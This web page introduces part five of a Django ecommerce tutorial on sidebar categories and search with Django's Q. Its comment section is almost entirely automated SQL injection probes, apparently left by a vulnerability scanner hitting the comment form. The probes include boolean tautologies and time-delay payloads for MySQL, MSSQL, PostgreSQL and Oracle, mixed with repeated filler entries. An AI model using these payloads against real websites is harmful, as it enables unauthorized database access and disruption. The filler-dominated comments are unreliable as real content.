Categories/Search - Django Ecommerce Website - Htmx and Tailwind

In the fifth part of this tutorial series, we will show dynamic content in the sidebar of the shop. That means, we will get the categories from the database and list them there.

We will also make some changes, so that we can see which category is active.

Also, to make it easier for the users to find products, we are going to implement a simple search. In this search, we will be using a function from Django called Q. This makes it really easy to search in multiple fields at once.

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

-1 OR 2+695-695-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:38

-1 OR 2+864-864-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:38

-1' OR 2+646-646-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:38

-1' OR 2+629-629-1=0+0+0+1 or 'IqbH7Ev2'='

EFSArCBy | Jul 02, 26 11:38

-1" OR 2+656-656-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:38

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:38

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:38

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:38

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:38

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:38

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:38

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:38

555jQ9iVBN7'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:38

555-1 OR 462=(SELECT 462 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

555-1) OR 720=(SELECT 720 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

555-1)) OR 927=(SELECT 927 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

555NsCIFNQF' OR 48=(SELECT 48 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

555IqST89M7') OR 633=(SELECT 633 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

55590etf4jn')) OR 487=(SELECT 487 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:38

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:38

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555'"

EFSArCBy | Jul 02, 26 11:38

@@yeopu

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

-1 OR 2+504-504-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1 OR 2+415-415-1=0+0+0+1 | Jul 02, 26 11:38

555

-1' OR 2+822-822-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1' OR 2+846-846-1=0+0+0+1 or '9XEy07it'=' | Jul 02, 26 11:38

555

-1" OR 2+237-237-1=0+0+0+1 -- | Jul 02, 26 11:38

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:38

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:38

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:38

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCByMKxJbuDa'; waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCBy3TFYcMV3' OR 946=(SELECT 946 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCBypa6Ms8Km') OR 519=(SELECT 519 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCByccO5JlE5')) OR 594=(SELECT 594 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy'" | Jul 02, 26 11:38

555

@@UKmvE | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.